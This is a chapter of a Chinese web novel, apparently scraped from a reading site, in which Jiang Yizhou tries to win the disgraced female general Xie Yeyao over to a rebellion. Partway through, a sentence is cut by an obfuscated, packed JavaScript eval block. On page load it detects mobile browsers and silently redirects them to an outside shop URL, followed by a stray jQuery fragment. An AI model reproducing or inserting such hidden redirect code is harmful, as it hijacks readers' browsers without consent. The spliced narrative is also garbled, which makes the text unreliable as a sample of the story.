刚见到谢叶瑶,江易周身上那个残缺金手指抽卡页面就跳了出来。
这个金手指完全是个没有丝毫智能的残废系统,平时江易周什么都问不出来。
不知道卡池里具体有什么,抽卡需要的剧情点,来源于江易周更改原书剧情,江易周现在人还在江家,手底下也没几个得用的帮手,加上剧情还没有到爆发期,她赚剧情点赚得有点儿辛苦。
因此江易周一直没有抽奖过。
江易周都快忘了自己身上还有个金手指了。
此刻,金手指抽卡界面,金色卡池大放光芒,在金色卡池上,隐隐约约能看到一个高大的身影。
魁梧有力的臂膀,纤细的腰肢,从剪影都能看出肌肉的线条有多令人惊艳。
江易周大概比对了一下,没错了,剪影和谢叶瑶几乎一模一样,只是现在谢叶瑶一身黑衣,完全看不出身上有那么多肌肉。
这就是天赋异禀了。
怪不得原书中谢叶瑶能被称为“阵前最勇”,“天下第一女将军”,她有那个资本。
江易周想到这儿,看谢叶瑶的眼神更火热了。
谢叶瑶没等到江六小姐的回复,还被江易周用近乎痴迷的眼神看着,被蒙住的脸上一阵红色,颇有些不好意思。
“江六娘子若不愿意说,那便算了,更深露重,此处荒凉还很危险,不适合高门大户的贵女出行,还请两位尽快回去,莫要将今日看到的事情告知任何人。”
谢叶瑶的态度,称得上温和了。
只不过她说话时习惯了用较为冷硬的口吻,听上去像是在命令人,江易雅不喜欢别人用这种语气同她说话。
她刚要开口嘲讽回去,江易周从她身后走出来,笑道:“谢小将军,久仰大名,没想到会在这儿见到你,我看此处虽然荒凉危险,但没什么闲杂人等,正适合聊一些事。”
谢叶瑶眉头锁紧,“你认识我。”
“一年过去,还想着袁家,愿意为袁家的事奔波走动的知恩之人,除了谢小将军外,没有其他人了。”
江易周语毕,江易雅惊呼出声。
“谢小将军?谢叶瑶?”
谢叶瑶没想到自己会在此刻暴露,她只是军中一个小小的杂号将军,对于平头百姓而言,是个不小的官,但在京城贵女们眼前,就是个上不了台面的女子。
江家乃是大世家,江家淑女是名副其实的世家大小姐,这种身份的人,看见她不应该用嫌弃的眼神,像是躲脏污一样走开吗?
为什么一个视她如稀世奇珍,另一个则是敬畏和向往?
谢叶瑶不明白,江家姐妹真是她见过最奇怪的世家大小姐。
身份既然已经暴露,也没必要再遮遮掩掩,谢叶瑶摘掉脸上的面巾。
“在下镇西大将军旗下飞虎营飞虎将军谢叶瑶,今日前来,乃是奉大将军之命前来,并非……为袁家的事,报恩。”
谢叶瑶说到最后,语调有些奇怪,江易周明白,袁家现在是个烫手的山芋,谁碰到都得不了好。
谢叶瑶想要避嫌,很正常。
江易雅则一遍遍看谢叶瑶,看了半天,也没从谢叶瑶身上看出三头六臂来。
“你既然是镇西大将军旗下,那你应该认识苏破玉吧?她如今如何了?”
江易雅的小马驹还是苏破玉送得,苏破玉离开京城已经三年,这三年来,头一年她们还陆陆续续有信件联系,后来苏破玉便了无音讯。
江易雅左右打听,打听不到分毫,问多了,别人还会警告她说,军中之事,少掺和。
“在下不曾认识苏破玉。”
不曾想,谢叶瑶直接摇头说不认识。
镇西将军苏吴是谢叶瑶的顶头上司,他的亲孙女,谢叶瑶竟然不认识!
江易雅不解,“她三年前到了边关,随父兄从军,她曾与我说过,很是欣赏你,若是有机会与你共事,定要与你相识,引为知己,你不认识她?”
谢叶瑶心中一动,随后她回想了三年里发生的事,摇了摇头,“从未听说过。”
“难道是换了名字……”江易雅呢喃道,她刚要接着问,谢叶瑶直截了当地告诉她,她真的不认识这个人。
三年里,谢叶瑶身边没有出现任何一个人,更没有人将她引为知己。
如果这世上真的有那么一个,认同她,欣赏她的人,她愿意以命相待,可惜,从没有这样的人出现过。
谢叶瑶眼中神情不明,她瞳仁很黑,黑得像是看不见底的深渊,里面满是孤寂的冷然。
江易周等江易雅问完,才伸手邀请谢叶瑶入内详谈,谢叶瑶没有挪步。
“里面全是尸体,这里还干净些,江六娘子有什么话,尽管直说。”
谢叶瑶摸不清江易周的路数,对江易周生出几分警惕。
“我没别的意思,只是想问问你,你现在在镇西军待着可舒服?有没有想过,换个地方打工?”
“什么?”谢叶瑶有点儿没明白。
江易周这个撬墙角的人,话术说得确实太粗糙了些,没办法,她现在要钱没钱,要人没人,想开个高工资都没底气。
这种情况下,她敢开口撬人,已经算是十分有勇气了。
“谢家曾经也名震一方,但是当年如日中天之时,谢家与袁家一样,罪责加身,一朝跌落,二十年后的今日依旧爬不起来。如果谢小将军不是女子,恐怕早就不知死在何处了。”
江易周端正态度,寻找人心薄弱之处,一击击中,令谢叶瑶的脸色以肉眼可见的速度黑了下去。
江易雅有些害怕地咽了口口水,谢叶瑶不会一言不合打人吧?
看看江易周那小身板,再看看自己,加上诗琴,她们三估计连谢叶瑶一拳头都挡不住。
谢叶瑶右拳握紧,她深吸口气,“谢家当年行差走错,幸得陛下仁慈,方有我谢叶瑶的今日,此事整个大庄无人不知,江六娘子特意提及,是故意戳人伤疤,意在嘲讽在下吗?”
“欸!我可没这个意思,这里只有咱们几个人,今日说的话,天知地知你知我知,不会有第三、四、五个人知道。”
江易周嘴快得很,本来想说第三个人,后来一数,在场就四个人了。
心里尴尬了一下,江易周像个没事人,继续跟谢叶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13546053|141011||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瑶友好交流。
谢叶瑶愈发弄不明白,江易周到底想干什么。
江易周和江易雅今日出现在袁府,就是一件特别奇怪的事情,两个大门不出二门不迈的大家闺秀,大半夜不睡觉,来危机四伏的战场闲逛,太诡异了。
因为这份诡异,所以谢叶瑶容忍江易周颠三倒四的说话,还在她面前,提起谢家,她的逆鳞。
谢叶瑶想到谢家,心情变得很不好,声音冷的能掉冰碴子,“有话直说便是。”
“爽快!”江易周拍了下掌,以表她对谢叶瑶性情的喜爱,“谢小将军亲自回京,是想要调查清楚袁家的事情,顺藤摸瓜,寻找当年那群人污蔑谢家的证据,为谢家翻案对吧?想法很好,被冤枉的人都希望有朝一日真相大白,可是,时移势迁,谢家出事的时候还是先帝在位之时,无论你找到的证据,多么铁证如山,儿子也不可能为了几个死人,去替老子认错改错。”
谢叶瑶闻言,拳头攥得更紧了。
她咬牙说道:“判定之人,分明是陛下。”
“陛下是遵循先帝遗诏,先帝遗诏有许多,斩杀有罪之人是其中之一,推翻它,其他遗诏是不是也有错?包括传位陛下,而非传位给其他王爷。”
江易周的话让谢叶瑶面如土色,谢叶瑶不是不清楚,她在军营摸爬滚打数年,自身更是经历了家中突逢大难,人情冷暖她一一尝尽。
但这是她活下去唯一的执念,除却此事,她活着还有什么意义呢?
保家卫国?哈哈!大庄的皇帝,就是令她家破人亡的仇人,她难道还要为了保护仇人的国家,而鞠躬尽瘁吗?
况且,大庄之中,已无她的亲朋好友。
江易雅听得头脚发麻,她拽了拽江易周的衣袖,示意她注意着点儿。
夺位这个话题非常敏感,一不小心,万劫不复,招来杀身之祸也不过是一两句话的事。
江易雅就不明白了,江易周怎么就能那么胆大!
江易周回手拍了拍江易雅的手背,示意她不用担心,随后她说道:“其实有个法子,可以轻而易举为谢家沉冤昭雪,你甚至不需要拿出多么充足的证据来。”
谢叶瑶眼中出现一抹光,那抹光名为希望。
江易周咧嘴笑了笑,眯起的眼睛里满是满意,“儿子不能违逆老子,但本朝可以推翻前朝啊,谁能拿前朝的剑,斩本朝的官呢?”
嘶!造反!
“不行!谢家肝胆忠心,决不背叛大庄,背叛陛下!”
谢叶瑶第一时间否认,而不是第一时间拔剑,江易周就知道,她赌对了。
日子过得不好,谁心中没有反了算了的想法?有家有室的人还会有所顾忌,像谢叶瑶这种活在世上,犹如孤魂野鬼的人,除了那点儿微不足道的道义外,没有任何东西能拴住她的反心。
“谢家对陛下忠心耿耿,陛下对谢家如何?对袁家如何?什么通敌叛国,泄露军机,作战不力,统统都是借口,你知道的,真正的原因是陛下他怕了,皇室害怕神器易手,天下不稳,于是无罪者,通通背上了罪名,本该名留青史的忠臣良将,成了遗臭万年的罪人。”